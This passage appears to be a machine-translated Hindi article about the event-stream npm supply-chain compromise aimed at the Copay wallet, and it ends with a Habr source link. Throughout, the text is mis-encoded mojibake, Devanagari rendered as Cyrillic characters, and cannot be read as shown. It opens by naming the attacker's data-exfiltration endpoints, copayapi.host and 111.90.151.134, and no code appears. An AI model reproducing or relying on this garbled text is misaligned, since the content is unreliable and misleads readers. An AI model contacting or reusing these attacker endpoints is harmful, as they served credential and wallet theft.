рдбреЗрдЯрд╛ copayapi.host рдФрд░ 111.90.151.134 рдкрд░ рднреЗрдЬрд╛ред

рдирд┐рд░рд╛рд╢рд╛рдЬрдирдХ рдирд┐рд╖реНрдХрд░реНрд╖


рдЬрд┐рд╕ рдЪреАрдЬ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣рдордиреЗ рдмрд╛рдд рдХреА рдереА рдЙрд╕реЗ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рдирд╛ рдПрдХ рдХрдард┐рди рдХрд╛рдо рд╣реИред рдЗрд╕ рд╣реИрдХ рдХреЗ рд▓рд┐рдП рдЧрдВрднреАрд░ рд╢реЛрдз рдФрд░ рд╣рдорд▓реЗ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдкреНрд░рдпрд╛рд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдереАред рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдкрд╛рд╕ рд╢рд╛рдпрдж рдХрдордмреИрдХ рд╡рд┐рдХрд▓реНрдк рднреА рдереЗ рдЬреЛ рд╡рд╣ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ рдпрджрд┐ рд╡рд╣ рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо рдкреИрдХреЗрдЬ рдХрд╛ рдирд┐рдпрдВрддреНрд░рдг рд╣рд╛рд╕рд┐рд▓ рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рдерд╛ред рдпрд╣ рджреЗрдЦрддреЗ рд╣реБрдП рдХрд┐ рд╣рдорд▓реЗ рдХрд╛ рдЖрдпреЛрдЬрди рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдпрд╣ рдкреНрд░рд╢рдВрд╕рдиреАрдп рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдореВрд▓ рд░реВрдк рд╕реЗ рдХреЛрдкреЗ рдореЗрдВ рд▓рдХреНрд╖рд┐рдд рдерд╛, рдФрд░ рди рдХреЗрд╡рд▓ рд▓реЛрдХрдкреНрд░рд┐рдп рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрд╛ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛, рдФрд░ рдлрд┐рд░ рд╡рд╣ рд╕реЛрдЪ рд░рд╣рд╛ рдерд╛ рдХрд┐ рдЙрд╕реЗ рдЗрд╕рдХреЗ рд╕рд╛рде рдХреНрдпрд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо рдХреА рд▓реЛрдХрдкреНрд░рд┐рдпрддрд╛ рд╕реЗ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдкрд╛рд╕ рджреБрдирд┐рдпрд╛ рднрд░ рдХреА рд╕реИрдХрдбрд╝реЛрдВ рдХрдВрдкрдирд┐рдпреЛрдВ рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рдПрдХ рдЖрд╕рд╛рди рддрд░реАрдХрд╛ рдерд╛ред рд╕реМрднрд╛рдЧреНрдп рд╕реЗ, рдЦрддрд░реЗ рдХрд╛ рдЬрд▓реНрджреА рд╕реЗ рдкрддрд╛ рдЪрд▓рд╛ рдФрд░ рдмреЗрдЕрд╕рд░ рд╣реЛ рдЧрдпрд╛, рдпрд╣ рджреЗрдЦрддреЗ рд╣реБрдП рдХрд┐ рдпрд╣ рдХрдм рддрдХ рдХрд┐рд╕реА рдХрд╛ рдзреНрдпрд╛рди рдирд╣реАрдВ рдЬрд╛ рд╕рдХрддрд╛ рдерд╛, рд▓реЗрдХрд┐рди рдХреНрдпрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реЛрдЪрдиреЗ рд╕реЗ рд╣рдо рд╕реНрдкрд╖реНрдЯ рдирд┐рд╖реНрдХрд░реНрд╖ рдкрд░ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ: рдЦреБрд▓рд╛ рд╕реНрд░реЛрдд рдЧрдВрднреАрд░ рд░реВрдк рд╕реЗ рдмреАрдорд╛рд░ рд╣реИред

рдЖрдЗрдП рдЙрди рдХрд╛рд░рдгреЛрдВ рдХреА рдПрдХ рд╕реВрдЪреА рдмрдирд╛рдПрдВ рдЬреЛ рдЙрдкрд░реЛрдХреНрдд рдШрдЯрдирд╛ рдХреЗ рдХрд╛рд░рдг рдмрдиреЗ:

  1. рдПрдкреНрд▓рд┐рдХреЗрд╢рди (рдХреЛрдкреЗ) рдХрдИ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдирд┐рд░реНрднрд░рддрд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬрдмрдХрд┐ рдЗрд╕рдХреА рдирд┐рд░реНрднрд░рддрд╛ рдкреЗрдбрд╝ рдЕрд╡рд░реБрджреНрдз рдирд╣реАрдВ рдереАред
  2. рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдЗрд╕ рдмрд╛рдд рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрддреЗ рд╣реБрдП рдХрд┐ рдирд┐рд░реНрднрд░рддрд╛ рдХреЗ рдкреЗрдбрд╝ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЖрд╢реНрд░рд┐рддреЛрдВ рдХреЛ рдХреИрд╢ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЙрдиреНрд╣реЗрдВ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рдирд┐рд░реНрдорд╛рдг рдореЗрдВ рднрдВрдбрд╛рд░ рд╕реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
  3. рд╣рдЬрд╛рд░реЛрдВ рдЕрдиреНрдп рдкрд░рд┐рдпреЛрдЬрдирд╛рдПрдВ рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИрдВ, рд╡реЗ рд╕рдорд╛рди рдпрд╛ рд╕рдорд╛рди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИрдВред
  4. рдЬрд┐рд╕рдиреЗ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрд╛ рд╕рдорд░реНрдерди рдХрд┐рдпрд╛, рдЬрд┐рд╕ рдкрд░ рд╣рдЬрд╛рд░реЛрдВ рдкрд░рд┐рдпреЛрдЬрдирд╛рдПрдВ рдирд┐рд░реНрднрд░ рд╣реИрдВ, рдЗрд╕ рдкрд░ рдХрд╛рдо рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ред
  5. рд╣рдЬрд╛рд░реЛрдВ рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдиреЗ рдЗрд╕ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЛ рдореБрдлреНрдд рдореЗрдВ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ред рдЙрд╕реА рд╕рдордп, рдпрд╣ рдЙрдореНрдореАрдж рдХреА рдЧрдИ рдереА рдХрд┐ рд╡реЗ рдмрд┐рдирд╛ рдХрд┐рд╕реА рднреМрддрд┐рдХ рдореБрдЖрд╡рдЬреЗ рдХреЗ рдЙрд╕рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВрдЧреЗред
  6. рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдиреЗ рдЕрдЬреНрдЮрд╛рдд рдкрд░ рдЕрдкрдирд╛ рдирд┐рдпрдВрддреНрд░рдг рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░ рджрд┐рдпрд╛, рдХреНрдпреЛрдВрдХрд┐ рдЙрд╕рдиреЗ рдЙрд╕рд╕реЗ рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкреВрдЫрд╛ рдерд╛ред
  7. рдЗрд╕ рдмрд╛рдд рдХреА рдХреЛрдИ рд╕реВрдЪрдирд╛ рдирд╣реАрдВ рдереА рдХрд┐ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдиреЗ рдЕрдкрдиреЗ рдорд╛рд▓рд┐рдХ рдХреЛ рдмрджрд▓ рджрд┐рдпрд╛ рд╣реИ, рдФрд░ рд╕рднреА рд╣рдЬрд╛рд░реЛрдВ рдкрд░рд┐рдпреЛрдЬрдирд╛рдПрдВ рдмрд╕ рдЙрдЪрд┐рдд рдкреИрдХреЗрдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦрддреА рд╣реИрдВред
  8. рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдЗрд╕ рд╕реВрдЪреА рдкрд░ рдФрд░ рдкрд░ рдЪрд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ ...

рд╣рдорд╛рд░реЗ рджреНрд╡рд╛рд░рд╛ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рдмреНрд░реЗрдХ-рдЗрди рд╕реЗ рдХреНрдпрд╛ рдиреБрдХрд╕рд╛рди рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реЛрдЪрдирд╛ рднреА рдбрд░рд╛рд╡рдирд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЕрддреНрдпрдВрдд рдЧрдВрднреАрд░ рдкрд░рд┐рдпреЛрдЬрдирд╛рдПрдВ рдШрдЯрдирд╛-рдзрд╛рд░рд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Microsoft Azure CLI ред рдХрдордЬреЛрд░ рдЙрди рдХрдВрдкреНрдпреВрдЯрд░ рдереЗ рдЬрд┐рди рдкрд░ рд╡реЗ рдЗрд╕ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рд╡рд┐рдХрд╕рд┐рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдФрд░ рд╡реЗ рдХрдВрдкреНрдпреВрдЯрд░ рдЬрд┐рди рдкрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рдЙрди рдФрд░ рдЕрдиреНрдп рджреЛрдиреЛрдВ рдкрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдпрд╣рд╛рдВ рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдмрд╣реБрдд рд╕рд╛рд░реЗ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдЗрд╕ рдЖрдзрд╛рд░ рдкрд░ рдмрдирд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЬреЛ рд▓реЛрдЧ рдЗрд╕реЗ рдХрд░рдиреЗ рдХреА рдЙрдореНрдореАрдж рдХрд░рддреЗ рд╣реИрдВ рд╡реЗ рдореБрдлреНрдд рдореЗрдВ рдХрд╛рдо рдХрд░реЗрдВрдЧреЗред рд╡реЗ рдЙрдкрдпреЛрдЧреА рдХрд╛рд░реНрдпрдХреНрд░рдо рдмрдирд╛рддреЗ рд╣реИрдВ, рд╡реЗ рдХреБрдЫ рд╕рдордп рдХреЗ рд▓рд┐рдП рдЙрдирдореЗрдВ рд▓рдЧреЗ рд░рд╣рддреЗ рд╣реИрдВ (рдпрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рд╡реЗ рдЙрдиреНрд╣реЗрдВ рдХреЗрд╡рд▓ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдбреЛрдореЗрди рдФрд░ рдЙрд╕ рд╕рднреА рдореЗрдВ рдмрдирд╛рддреЗ рд╣реИрдВ), рдФрд░ рдЙрдирд╕реЗ рд╕рдордп рдХреЗ рдЕрдВрдд рддрдХ рдЙрдирдХреЗ рд╡рд┐рдХрд╛рд╕ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдиреЗ рдХреА рдЙрдореНрдореАрдж рдХреА рдЬрд╛рддреА рд╣реИред рдпрджрд┐ рдпрд╣ рдЙрдирдХреЗ рд▓рд┐рдП рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рддреЛ рд╡реЗ рдпрд╛ рддреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рд░рд╣рддреЗ рд╣реИрдВ, рдЙрдиреНрд╣реЗрдВ рдХреЙрд▓ рдЕрдирджреЗрдЦрд╛ рдХрд░рддреЗ рд╣реИрдВ рдпрд╛ рдЕрдкрдиреА рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рд░рд┐рдкреЛрд░реНрдЯ ( рджреЛрд╖реА! ), рдпрд╛ рдмрд╕ рдЕрдкрдиреЗ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдЕрдиреНрдп рд▓реЛрдЧреЛрдВ рдХреЛ рджреЗрддреЗ рд╣реИрдВ, рдЙрдореНрдореАрдж рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рд╡реЗ рдЫреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдм рдЗрд╕рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдирд╣реАрдВ рд╣реЛрддреЗ рд╣реИрдВред рдХрднреА-рдХрднреА рдпрд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рдХрднреА-рдХрднреА рдирд╣реАрдВред рд▓реЗрдХрд┐рди рдХреБрдЫ рднреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рд╕рд╣реА рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдЗрд╕ рддрд░рд╣ рдХреА рдШрдЯрдирд╛рдУрдВ рдХреЗ рдХрд╛рд░рдг рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрддреЗ рд╣реИрдВред рд╡реИрд╕реЗ, рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдШрдЯрдирд╛-рдзрд╛рд░рд╛, рдЗрд╕рдХреА рдЬрд╛рдВрдЪ рдФрд░ рдЙрдиреНрдореВрд▓рди рдХреЗ рд╕рд╛рде рдПрдХ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХрд╛ рдХрд╛рдо рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдЦреБрд▓реЗ рд╕реНрд░реЛрдд рд╕реНрд╡рдпрдВрд╕реЗрд╡рдХреЛрдВ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬрд┐рдирдХреЗ рдХрд╛рдо рдХрд╛ рднреБрдЧрддрд╛рди рдХрд┐рд╕реА рднреА рддрд░рд╣ рд╕реЗ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

рдЗрддрдиреЗ рд╕рд╛рд░реЗ рдЕрд▓рдЧ-рдЕрд▓рдЧ рд▓реЛрдЧ рдФрд░ рд╕рдВрдЧрдарди рдЗрд╕ рдмрд╛рдд рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИрдВ рдХрд┐ рдРрд╕рд╛ рдХреНрдпрд╛ рд╣реБрдЖ рдХрд┐ рд╡рд┐рд╢рд┐рд╖реНрдЯ рджреЛрд╖рд┐рдпреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд╛ рдХреЛрдИ рдорддрд▓рдм рдирд╣реАрдВ рд╣реИред рдЦреБрд▓рд╛ рд╕реНрд░реЛрдд рдЧрдВрднреАрд░ рд░реВрдк рд╕реЗ рдмреАрдорд╛рд░ рд╣реИ, рдФрд░ рдпрд╣ рдШрдЯрдирд╛ рдЬрд┐рддрдиреА рдмрдбрд╝реА рд╣реЛ рдЬрд╛рддреА рд╣реИ, рдЖрдкрджрд╛рдУрдВ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдЙрддрдиреА рд╣реА рдЕрдзрд┐рдХ рд╣реЛрддреА рд╣реИред рдпрд╣рд╛рдВ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рдШрдЯрдирд╛ рдХреА рд╡рд┐рдирд╛рд╢рдХрд╛рд░реА рдХреНрд╖рдорддрд╛ рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП, рдпрд╣ рднрд╛рдЧреНрдпрд╢рд╛рд▓реА рд╣реИ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ рд▓рдХреНрд╖реНрдп рд╕рд┐рд░реНрдл рдПрдХ рдЖрд╡реЗрджрди рдерд╛ред

рдЗрд╕реА рддрд░рд╣ рдХреА рд╕рдорд╕реНрдпрд╛рдПрдВ Node.js рдпрд╛ npm рддрдХ рд╕реАрдорд┐рдд рдирд╣реАрдВ рд╣реИрдВред рд╕рдВрдмрдВрдзрд┐рдд рдкрд╛рд░рд┐рд╕реНрдерд┐рддрд┐рдХреА рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдореЗрдВ, рдЕрдЬрдирдмрд┐рдпреЛрдВ рдореЗрдВ рдПрдХ рд╕рдорд╛рди рд░реВрдк рд╕реЗ рдЕрдиреБрдЪрд┐рдд рд░реВрдк рд╕реЗ рдЙрдЪреНрдЪ рд╕реНрддрд░ рдХрд╛ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдордирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдЕрдЬрдЧрд░ рдкрд░реНрдпрд╛рд╡рд░рдг, RubyGems, рдФрд░ GitHub рдореЗрдВ рднреА PyPi рдХреЗ рд╕рд╛рде рдХрд░рдирд╛ рд╣реИред рдХреЛрдИ рднреА рдЙрдкрд░реЛрдХреНрдд рд╕реЗрд╡рд╛рдУрдВ рдореЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдмрд┐рдирд╛ рдХрд┐рд╕реА рдЕрдзрд┐рд╕реВрдЪрдирд╛ рдХреЗ рдЕрдкрдиреА рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдХреЗ рдкреНрд░рдмрдВрдзрди рдХреЛ рдХрд┐рд╕реА рдХреЛ рд╣рд╕реНрддрд╛рдВрддрд░рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдФрд░ рдЗрд╕рдХреЗ рдмрд┐рдирд╛ рднреА, рдЖрдзреБрдирд┐рдХ рдкрд░рд┐рдпреЛрдЬрдирд╛рдПрдВ рдХрд┐рд╕реА рдФрд░ рдХреЗ рдХреЛрдб рдХреЗ рдРрд╕реЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИрдВ рдХрд┐ рдЗрд╕рдХрд╛ рдЧрд╣рди рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд┐рд╕реА рднреА рдЯреАрдо рдХреЗ рдХрд╛рдо рдХреЛ рд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ рд░реЛрдХ рджреЗрдЧрд╛ред рд╕рдордп рд╕реАрдорд╛ рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдбреЗрд╡рд▓рдкрд░реНрд╕ рдиреЗ рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдХрд┐ рдЙрдиреНрд╣реЗрдВ рдХреНрдпрд╛ рдЬрд░реВрд░рдд рд╣реИ, рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХреЛрдб рд╕рддреНрдпрд╛рдкрди рдЙрдкрдХрд░рдг рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рдЯреАрдореЗрдВ рдмрд╕ рд▓рдЧрд╛рддрд╛рд░ рдмрджрд▓рддреЗ рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХреЗ рддреЗрдЬреА рд╕реЗ рд╡рд┐рдХрд╛рд╕ рдХреЗ рд╕рд╛рде рддрд╛рд▓рдореЗрд▓ рдирд╣реАрдВ рд░рдЦрддреА рд╣реИрдВред

рдкреНрд░рд┐рдп рдкрд╛рдардХреЛрдВ! рд╣рд╛рд▓ рдХреА рдШрдЯрдирд╛-рдзрд╛рд░рд╛ рдХреА рдШрдЯрдирд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЖрдкрдХрд╛ рдХреНрдпрд╛ рдЦреНрдпрд╛рд▓ рд╣реИ?



Source: https://habr.com/ru/post/hi434116/


All Articles